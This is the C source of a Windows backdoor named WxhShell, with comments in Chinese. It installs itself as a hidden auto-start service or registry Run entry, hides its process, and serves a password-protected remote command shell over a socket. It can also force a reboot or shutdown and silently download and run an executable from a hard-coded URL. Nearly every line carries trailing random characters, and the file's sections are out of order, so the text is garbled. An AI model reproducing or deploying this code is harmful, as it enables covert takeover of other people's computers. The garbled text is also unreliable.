    if(Boot(SHUTDOWN)) zw]3Vg{T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q!&B6]  
    else { cz#_<8'N  
    closesocket(wsh); 4 [1k\  
    ExitThread(0); '00J~j~  
    } >ZeEX, N  
    break; f>niFPW"  
    } A#35]V06  
  // 获取shell I8k  
  case 's': { f&c]LH _  
    CmdShell(wsh); 6.'$EtH  
    closesocket(wsh); E~RV1)  
    ExitThread(0); Sph*1c(R  
    break; hM>*a!)U  
  } =/Wu'gG)  
  // 退出 @+&'%1  
  case 'x': { 4gOgWBv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); | 3giZ{  
    CloseIt(wsh); | ]# +v@  
    break; C_G1P)k  
    } IY)5.E _  
  // 离开 SKR;wu  
  case 'q': { TV=c,*TV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K2HvI7$-  
    closesocket(wsh); ZoxS*Xk  
    WSACleanup(); X2^_~<I{,  
    exit(1); 6e# wR/  
    break; o,FUfO}F  
        } G3dh M#!  
  } m gVML&^  
  } f=m/ -mAA  
o?wt$j-  
  // 提示信息 l3p3tT3+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kOipH |.x  
} dE [Ol   
  } Ek ZjO Ci  
K]<u8eF  
  return; b[srG6{ &  
} o1k#."wHr  
OQFi.  8  
// shell模块句柄 F;kvH  
int CmdShell(SOCKET sock) KjOi(YUnq7  
{ @9vvR7{P  
STARTUPINFO si; P}@*Z>j:#  
ZeroMemory(&si,sizeof(si)); a#y{pT2 b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dB3N%pB^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %S`ik!K"I  
PROCESS_INFORMATION ProcessInfo; 7Z0/(V.-  
char cmdline[]="cmd"; E >}q2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S+ebO/$>  
  return 0; b_vTGl1_6  
} 3dG4pl~  
%[ Zz0|A  
// 自身启动模式 bSrZ{l  
int StartFromService(void) k[9A,N^lZB  
{ x=Mm6}/  
typedef struct Wc|z7P~',%  
{ ^|?1_r  
  DWORD ExitStatus; m*oc)x7'  
  DWORD PebBaseAddress; rzu s  
  DWORD AffinityMask; G),db%,X2  
  DWORD BasePriority; Yy h=G  
  ULONG UniqueProcessId; Hku=pr3Gn  
  ULONG InheritedFromUniqueProcessId; 4RQ5(YTTuR  
}   PROCESS_BASIC_INFORMATION; Y<Q\d[3^F  
qq;b~ 3 kW  
PROCNTQSIP NtQueryInformationProcess; zvr\36  
!ZrB^?sO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |$e:*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /U*yw5  
ETp'oh}?  
  HANDLE             hProcess; rk,p!}FqL  
  PROCESS_BASIC_INFORMATION pbi; H]Wp%"L  
 $Nu)E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^i`*Wm@!  
  if(NULL == hInst ) return 0; h|p[OecG  
R 1'`F{56  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?N>pZR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e{C6by"j{S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F=}Z51|:~  
2Va4i7"X\  
  if (!NtQueryInformationProcess) return 0; V;93).-$  
Dp^/gL=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 54q3R`y  
  if(!hProcess) return 0; 8=Q V N_  
Y6ben7j%-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wiE]z  
yd>}wHt  
  CloseHandle(hProcess); ><Uk*mwL  
T"!EK&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l!IGc:  
if(hProcess==NULL) return 0; O&'/J8  
ow.j+ <M  
HMODULE hMod; #C\4/g? =,  
char procName[255]; J#7y< s  
unsigned long cbNeeded; >Z\BfH  
]a/'6GbR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GZ8:e3ri  
I7mG/  
  CloseHandle(hProcess); <zfKC  
F_ljx  
if(strstr(procName,"services")) return 1; // 以服务启动 L'9N9CR{i  
*IZf^-=Q  
  return 0; // 注册表启动 HarFE4V  
} (p |DcA]BX  
h\y-L~2E  
// 主模块 ut5yf$%  
int StartWxhshell(LPSTR lpCmdLine) BXhWTGiG  
{ s;{K!L@  
  SOCKET wsl; ez*jjm  
BOOL val=TRUE; iP "EA8  
  int port=0; ( v@jc8y  
  struct sockaddr_in door; VJ{pN~_1  
SI*^f\lu  
  if(wscfg.ws_autoins) Install(); \!H{Ks{#R.  
B*@6xS[IL  
port=atoi(lpCmdLine); Dg2uE8k  
V8"Wpl9Cz  
if(port<=0) port=wscfg.ws_port; 0YS?=oi  
O3%[dR  
  WSADATA data; s#^pC*,'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k/lFRi-i  
I]uhi{\C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @2e2^8X7f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]}2Ztr)zZ  
  door.sin_family = AF_INET; nY^Nbh0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d 4O   
  door.sin_port = htons(port); ;[6&0! N\  
-&Gfh\_NW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hz)9"B\S  
closesocket(wsl); f\K#>u* Q  
return 1; \0AiCMX[  
} n`L,]dco  
h0VzIuV  
  if(listen(wsl,2) == INVALID_SOCKET) { uD)-V;}P@;  
closesocket(wsl); a$}mWPp+f  
return 1; bPd-D-R  
} -7`-wu  
  Wxhshell(wsl); Sz0+ <F#5  
  WSACleanup(); FA$zZs10\  
EOVZGZF  
return 0; b3U6;]|x  
X\sm[_I  
} g%\L&}Jd  
qm(1:iK,0  
// 以NT服务方式启动 1^{`lK~2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ._<ii2K'  
{ JSW&rn  
DWORD   status = 0; nNn56&N]  
  DWORD   specificError = 0xfffffff; fk3kbdI  
8/Rm!.8+~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MF.[8Zb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T;?+kC3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K.DXJ UR  
  serviceStatus.dwWin32ExitCode     = 0; 8tQ|-l *  
  serviceStatus.dwServiceSpecificExitCode = 0; vJC f~'  
  serviceStatus.dwCheckPoint       = 0; t ;-L{`mW  
  serviceStatus.dwWaitHint       = 0; H_B~P%E@]  
)=H{5&e#u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S,vu]?-8  
  if (hServiceStatusHandle==0) return; kRot7-7I|  
+d39f-[  
status = GetLastError(); E $6ejGw-  
  if (status!=NO_ERROR) 0Nr\2|  
{ kuS/S\Z5K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3Gd0E;3sk~  
    serviceStatus.dwCheckPoint       = 0; T *P+Fh"  
    serviceStatus.dwWaitHint       = 0; w O!u!I  
    serviceStatus.dwWin32ExitCode     = status; BGqa-d  
    serviceStatus.dwServiceSpecificExitCode = specificError; CC8k&u,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aRwnRii  
    return; {Y_Nj`#BT  
  } (9GbG"   
./w{L"E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hj~O49%j&  
  serviceStatus.dwCheckPoint       = 0; 9<cOYY  
  serviceStatus.dwWaitHint       = 0; jXR16|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5(J^N  
} /V^sJ($V$~  
"ahvNx;x  
// 处理NT服务事件,比如:启动、停止 Qpu3(`d<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4lz{G*u  
{ J{ ~Rxa  
switch(fdwControl) t[2i$%NVM  
{ ,")F[%v  
case SERVICE_CONTROL_STOP: \4s;!R!  
  serviceStatus.dwWin32ExitCode = 0; H;I~N*ltJ(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z.Pi0c+  
  serviceStatus.dwCheckPoint   = 0; 4/MNqit+  
  serviceStatus.dwWaitHint     = 0; u~'OcO  
  { T]71lRY5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )zJ=PF  
  } gaeOgP.0  
  return; J}@GKNm  
case SERVICE_CONTROL_PAUSE: % h+uD^^$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hKksVi  
  break; g42T#p8^  
case SERVICE_CONTROL_CONTINUE: 4vqNule  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WK; (P4Z  
  break; 9} *$n&B  
case SERVICE_CONTROL_INTERROGATE: ~3=2=Uf  
  break; /DU*M,  
}; h5-d;RKE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \cZfg%PN  
} 8p =>?wG  
`C'}e  
// 标准应用程序主函数 afm_Rrg[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'h}7YP, w  
{ KXe ka  
E5{n?e  
// 获取操作系统版本 t _\MAK  
OsIsNt=GetOsVer(); x!?Z *v@I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M 9"-WIG@h  
2Xgx*'t\  
  // 从命令行安装 NG9vml  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;r!\-]5$  
0w3b~RJ  
  // 下载执行文件 0&$xX!]  
if(wscfg.ws_downexe) { xIgql}.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c]v +  
  WinExec(wscfg.ws_filenam,SW_HIDE); Taasi` k  
} kF-TG3  
:`J>bHE  
if(!OsIsNt) { M=%!IT  
// 如果时win9x,隐藏进程并且设置为注册表启动 oT->^4WY  
HideProc(); ^saM$e^c:  
StartWxhshell(lpCmdLine); \!wh[qEQ\  
} z%};X$V`J  
else vlQ0gsXK  
  if(StartFromService()) ^<;w+%[MT  
  // 以服务方式启动 Wk[)+\WQ?  
  StartServiceCtrlDispatcher(DispatchTable); \n0gTwiO%  
else -N z}DW>  
  // 普通方式启动 t w!.%_1^  
  StartWxhshell(lpCmdLine); :t>Q:mX(N  
}17bV, t  
return 0; 0yTQ{'Cc  
} mV zu~xym  
ifrq  
 !!+Da>  
)ddsyFGW  
=========================================== P6we(I`"2  
+ *a7GttU  
IJIQ" s  
S'@=3)  
q^6N+^}QN  
Wp4K6x  
" *w 21U!  
|EeBSRAfe  
#include <stdio.h> o7 arxo\  
#include <string.h> @dV9Dpu  
#include <windows.h> sVoR?peQ  
#include <winsock2.h> : ;TYL[  
#include <winsvc.h> ]xrD<  
#include <urlmon.h> " $=qGHA~  
SG`)PW?  
#pragma comment (lib, "Ws2_32.lib") #eLN1q&Z  
#pragma comment (lib, "urlmon.lib") O PiaG!3<  
,s? dAy5  
#define MAX_USER   100 // 最大客户端连接数 Ff)@L-Y\K  
#define BUF_SOCK   200 // sock buffer P;c0L;/  
#define KEY_BUFF   255 // 输入 buffer @g\;` #l  
_BwKY#09Zp  
#define REBOOT     0   // 重启 ,Hh*3rR^  
#define SHUTDOWN   1   // 关机 4W-"|Z_x  
^4UcTjh  
#define DEF_PORT   5000 // 监听端口 pK"&QPv  
D1ZC&B_}-  
#define REG_LEN     16   // 注册表键长度 /.v_N%*-v  
#define SVC_LEN     80   // NT服务名长度 $rTu6(i1  
5Hy3\_ +  
// 从dll定义API >[P%Ty);  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l/F!Bq[*g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); os_WYQ4>j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dyl 0]Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LYNZP4(R  
@<5Tba>SC  
// wxhshell配置信息 sDAK\#z  
struct WSCFG { d<v~=  
  int ws_port;         // 监听端口 sMX$Q45e  
  char ws_passstr[REG_LEN]; // 口令 en%B>]QI  
  int ws_autoins;       // 安装标记, 1=yes 0=no J7m`]!*t  
  char ws_regname[REG_LEN]; // 注册表键名 q_pmwJ:UL  
  char ws_svcname[REG_LEN]; // 服务名 0Jg+sUs{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SS0_P jKz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U/5$%0)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 idz9YpW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QQq/5r4O`q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .5z&CJDiIi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i*z0Jf["  
Dt|fDw$]D  
}; 19&)Yd1  
%yKKUZ~  
// default Wxhshell configuration vG3M5G  
struct WSCFG wscfg={DEF_PORT, ki4Xp'IK  
    "xuhuanlingzhe", uAT/6@  
    1, `x*/UCy\  
    "Wxhshell", ?V?<E=13  
    "Wxhshell", yF;?Hg  
            "WxhShell Service", o"4E+1qwM  
    "Wrsky Windows CmdShell Service", L}b'+Wi@  
    "Please Input Your Password: ", "?[7#d])  
  1, -U:2H7  
  "http://www.wrsky.com/wxhshell.exe", `/c@nxh  
  "Wxhshell.exe" I3An57YV].  
    }; M#T#:wf~  
[x|)}P7%s  
// 消息定义模块 ~.H~XK w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *F..ZS'$[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7P c(<Ui+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {yU0D*#6  
char *msg_ws_ext="\n\rExit."; cTy'JT7  
char *msg_ws_end="\n\rQuit."; =G*z 5 3  
char *msg_ws_boot="\n\rReboot..."; :i}@Br+R7L  
char *msg_ws_poff="\n\rShutdown..."; D=JlA~tS>  
char *msg_ws_down="\n\rSave to "; s"N\82z)  
Ta^.$O=F  
char *msg_ws_err="\n\rErr!"; py.!%vIOQ  
char *msg_ws_ok="\n\rOK!"; iAgOnk[  
_E (x2BS?  
char ExeFile[MAX_PATH]; pSXEJ 2k  
int nUser = 0; ?F25D2[(  
HANDLE handles[MAX_USER]; eN4t1 $  
int OsIsNt; -zR.'x%  
1[px`%DR~  
SERVICE_STATUS       serviceStatus; >-eS&rma  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S NN#$8\  
}9 ?y'6l  
// 函数声明 ]An_5J  
int Install(void); xjE7DCmA  
int Uninstall(void); ] .`_, IO  
int DownloadFile(char *sURL, SOCKET wsh); k3#wLJ  
int Boot(int flag); ZLuPz#  
void HideProc(void); qNy-o\;XN  
int GetOsVer(void); 8,H~4Ce3  
int Wxhshell(SOCKET wsl); w7r'SCVh3+  
void TalkWithClient(void *cs); # 'wL\3  
int CmdShell(SOCKET sock); @H6%G>K,  
int StartFromService(void); m $)YYpX  
int StartWxhshell(LPSTR lpCmdLine); vv!Bo~L1,  
8ZFH}v@V1'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); shD+eHo$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PH[4y:^DN  
Agz=8=S%  
// 数据结构和表定义 IE|, ~M2  
SERVICE_TABLE_ENTRY DispatchTable[] = fmBkB8  
{ >r~|1kQ.  
{wscfg.ws_svcname, NTServiceMain}, /K[]B]1NE  
{NULL, NULL} ^SgN(-QH  
}; |Cu1uwy  
K(' 9l& A  
// 自我安装 vWuyft*  
int Install(void) 'Z y{mq\  
{ ~RAzFLt6x  
  char svExeFile[MAX_PATH]; $Q=$?>4U  
  HKEY key; :ET x*c  
  strcpy(svExeFile,ExeFile); }&C dsCM>2  
? S8$5gA  
// 如果是win9x系统,修改注册表设为自启动 =I7[L{+~Y  
if(!OsIsNt) { ";o~&8?)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ": nI_~q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p?}&)Un  
  RegCloseKey(key); [+_\z',u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { } mgVC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i:;$oT  
  RegCloseKey(key); a!&bc8J7  
  return 0; ?~{r f:Y  
    } ]bf'  
  } 7bHE!#L`0  
} xiEcEz'lk  
else { y)IGTW o  
a$A2IkD  
// 如果是NT以上系统,安装为系统服务 Oxpo6G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 58 kv#;j  
if (schSCManager!=0) 2lF WW(  
{ A(PE  
  SC_HANDLE schService = CreateService n&(3o6i'  
  ( ,#=eu85 '  
  schSCManager, SCqu,  
  wscfg.ws_svcname, n<=y"*  
  wscfg.ws_svcdisp, x,}ez  
  SERVICE_ALL_ACCESS, u4@, *tT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2m|Eoc&M_  
  SERVICE_AUTO_START, K6ciqwUO  
  SERVICE_ERROR_NORMAL, YcPKM@xo  
  svExeFile, -?[O"D"c  
  NULL, Tq.MubaO  
  NULL, iOKr9%9?Z  
  NULL,  y/z9Ce*>  
  NULL, ux%&lff  
  NULL _xa}B,H  
  ); 2-QuT"Gkd  
  if (schService!=0) }5QZ6i#  
  { 3/SfUfWo  
  CloseServiceHandle(schService); KsZ@kTs  
  CloseServiceHandle(schSCManager); NJ.rv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,"x23=]  
  strcat(svExeFile,wscfg.ws_svcname); Pv^(Q ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <yis  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4 `j,&=  
  RegCloseKey(key); ys:1Z\$P  
  return 0; 4F}g(  
    } ~GAlNIv]  
  } h<+PP]l=  
  CloseServiceHandle(schSCManager); -7&^jP\,  
} ?T tQZ  
} s@/B*r9  
pK-_R#  
return 1; wgC??Be;ut  
} oH!$eAU?  
`i"$*4#<  
// 自我卸载 #FrwfJOV  
int Uninstall(void) C3&17O6  
{ VFQq`!*i  
  HKEY key; EI[e+@J  
xgZV0!%  
if(!OsIsNt) { SH .9!lQv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gw{Gt]liq  
  RegDeleteValue(key,wscfg.ws_regname); b #o}=m  
  RegCloseKey(key); le "JW/BD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &*Q|d*CP  
  RegDeleteValue(key,wscfg.ws_regname); rhlW  
  RegCloseKey(key); >1#DPU(g  
  return 0; lCM6T;2ID  
  } 9O(i+fM  
} sURUQ  H  
} c#]'#+aH  
else { 2U-#0,ll]  
p.6$w:eV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y\ #.EVz  
if (schSCManager!=0) ;u4@iN}p  
{ )^*9oqQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?$>u!V<'  
  if (schService!=0) .=.yZ  
  { =;~%L  
  if(DeleteService(schService)!=0) { z ^gDbXS  
  CloseServiceHandle(schService); Dme(Knly  
  CloseServiceHandle(schSCManager); Co{MIuL  
  return 0; Xq=!"E  
  } , mAB)at  
  CloseServiceHandle(schService); X67C;H+  
  } '6Pu[^x  
  CloseServiceHandle(schSCManager); =:t@;y  
} \'\N"g`Fr  
} sR7{i  
l8hvq(,{  
return 1; .FfwY 'V  
} / K2.V@T  
3&drof\{  
// 从指定url下载文件 6xDl=*&%  
int DownloadFile(char *sURL, SOCKET wsh) EOd.Tyb!/  
{ *IMF4 x5M  
  HRESULT hr; Pj1K  
char seps[]= "/"; =]5DYRhX]  
char *token; y]~+`9  
char *file; |!jYv'%  
char myURL[MAX_PATH]; HJ2]Nz:   
char myFILE[MAX_PATH]; (hRgYwUa<  
89:?.'  
strcpy(myURL,sURL); mVc'%cPaw  
  token=strtok(myURL,seps); {2'74  
  while(token!=NULL) j. ks UJ  
  { +O.&64(  
    file=token; Egjk^:@  
  token=strtok(NULL,seps); iOX4Kl  
  } 886 ('  
thlpj*|  
GetCurrentDirectory(MAX_PATH,myFILE); teQaHe#  
strcat(myFILE, "\\"); .g(\B  
strcat(myFILE, file); Pq[0vZ_}dN  
  send(wsh,myFILE,strlen(myFILE),0); NIWI6qCw  
send(wsh,"...",3,0); = C$ @DNEc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o3\SO  
  if(hr==S_OK) u~naVX\3b  
return 0; ~vjr;a(B  
else .yFg$|yG  
return 1; M2zos(8g  
"c! oOaA  
}  "df13U"  
(> +k3  
// 系统电源模块 5tgILxSK  
int Boot(int flag) (DEL xE  
{ 4$q )e<-  
  HANDLE hToken; _x,-d|9b d  
  TOKEN_PRIVILEGES tkp;  }]n>A  
-Fok %iQ'5  
  if(OsIsNt) { , $D&WH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `ykMh>*{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C-:SQf  
    tkp.PrivilegeCount = 1; 1O'*X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *$4A|EA V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k_En_\c?p2  
if(flag==REBOOT) { >H=Q$gI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %1 VNP(E  
  return 0; 5 vu_D^Q  
} [#P`_hx  
else { =?`y(k4a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nak'g/uP>  
  return 0; H>X\C;X[  
} Jegx[*O>b  
  } yG4LQE  
  else { +qSr=Y:+  
if(flag==REBOOT) { #0YzPMV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ck/_UY|  
  return 0; &)"7am(S`  
} nM(=bEX  
else { cV=_G E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '7O{*=`oj  
  return 0; v,!Y=8~9  
} s:m<(8WRw  
} tsSS31cv  
eN2k8=  
return 1; 5>4A}hSe  
} kb}]sj  
2XecP'+m  
// win9x进程隐藏模块 <p L;-  
void HideProc(void) J.1ln = Y  
{ S\{^LVXTMd  
[WO%rO^p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MRVz:g\mi  
  if ( hKernel != NULL ) )o'U0rAx|a  
  { (&Tb,H)=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :zn ?<(sQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %9 -#`  
    FreeLibrary(hKernel); @cTZ`bg  
  } 'j,Li(@}  
OCOO02Wq1  
return; mb*h73{{  
} p$b= r+1f  
thm3JfQt  
// 获取操作系统版本 1A/c/iC  
int GetOsVer(void) ncw?;  
{ c^[1]'y  
  OSVERSIONINFO winfo; (zTI)EV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); = "hY{RUa  
  GetVersionEx(&winfo); 2cX"#."5p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O.up%' %,  
  return 1; HBga'xJ  
  else T>uWf#&pjs  
  return 0; 7p>-oR"  
} >y06s{[  
@#ho(_U8  
// 客户端句柄模块 EBL,E:_)  
int Wxhshell(SOCKET wsl) Z564K7IV  
{ s=%+o& B  
  SOCKET wsh; J:-TINeB  
  struct sockaddr_in client; J%O4IcE  
  DWORD myID; kO`3ENN  
k.%W8C<Pa  
  while(nUser<MAX_USER) 1KIq$lG{ E  
{ o YI=p3l  
  int nSize=sizeof(client); 6L6~IXL>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -JQg ~1  
  if(wsh==INVALID_SOCKET) return 1; }A'<?d8   
Hb AMoow!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MCrO]N($b  
if(handles[nUser]==0) l^eNZ3:H  
  closesocket(wsh); ao" ;5 m  
else O]%m{afM  
  nUser++; a_iQlsU  
  } xP/1@6]_Je  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |`t!aG8  
C7 & 6rUX  
  return 0; pv?17(w(\  
} [sY1|eX   
a^}P_hg}-  
// 关闭 socket J0*]6oD!  
void CloseIt(SOCKET wsh) Nec(^|[   
{ :_YG/0%I  
closesocket(wsh); )6R#k8'ERr  
nUser--; !9<RWNKV)Y  
ExitThread(0); =!P?/  
} g /@yK  
UG?C=Tf  
// 客户端请求句柄 5@Lxbe( q  
void TalkWithClient(void *cs) (7jB_ p%  
{ n\ ',F  
io33+/  
  SOCKET wsh=(SOCKET)cs; GqD!W8+  
  char pwd[SVC_LEN]; Lvj5<4h;  
  char cmd[KEY_BUFF]; m<'xlF  
char chr[1]; Md?bAMnG+}  
int i,j; .8PO7#  
't%%hw-m}  
  while (nUser < MAX_USER) { %WT:RT_  
q fH~hg  
if(wscfg.ws_passstr) { 0|>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [.Wt,zrE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1 GHgwT  
  //ZeroMemory(pwd,KEY_BUFF); 0S5C7df  
      i=0; _} 9R}  
  while(i<SVC_LEN) { >=W#z  
*=If1qZs  
  // 设置超时 s riq(A  
  fd_set FdRead; nh&<fnh  
  struct timeval TimeOut; .rB;zA;4S)  
  FD_ZERO(&FdRead); n ua8y(W  
  FD_SET(wsh,&FdRead); I~ ]mX;  
  TimeOut.tv_sec=8; MbFe1U]B  
  TimeOut.tv_usec=0; kRXg."b(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~$ qJw?r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '>mb@m  
WKJL< D ]:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }nY^T&?`  
  pwd=chr[0]; f]A6Mx6  
  if(chr[0]==0xd || chr[0]==0xa) { XM@i|AK M0  
  pwd=0; Z *<x  
  break;  aC }1]7  
  } m#K%dR  
  i++; eF;1l<<   
    } `FB?cPR  
C<@1H>S4_  
  // 如果是非法用户,关闭 socket Qp.!U~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #!&R7/ KdD  
} )"Br,uIv:/  
jv=f@:[`I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c@#zjJhW]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sCCr%r]zL  
vrnj}f[h  
while(1) { 7>@/*S{X  
%+B-Z/1}  
  ZeroMemory(cmd,KEY_BUFF); r~fl=2>yQ  
9}0Jc(B/x  
      // 自动支持客户端 telnet标准   "/Q(UV<d  
  j=0; mS&\m#s<  
  while(j<KEY_BUFF) { yxUVM`.~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S!!\!w>N  
  cmd[j]=chr[0]; .'mC3E+ $  
  if(chr[0]==0xa || chr[0]==0xd) { F20-!b  
  cmd[j]=0; `&[:!U2]F  
  break; YJvT p~  
  } -&D6w9w  
  j++; f#Cdx"  
    } j~f 7WJ  
`"mK\M  
  // 下载文件 %c/"A8{eb  
  if(strstr(cmd,"http://")) { :O+b4R+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rkc%S5we  
  if(DownloadFile(cmd,wsh)) {#M{~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >37}JUG  
  else x  Bw.M{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V+~{a:8[pq  
  } t}+c/ C%b=  
  else { xWb?i6)z&  
s l @6  
    switch(cmd[0]) { .LcE^y[V  
  '<D}5u7 2  
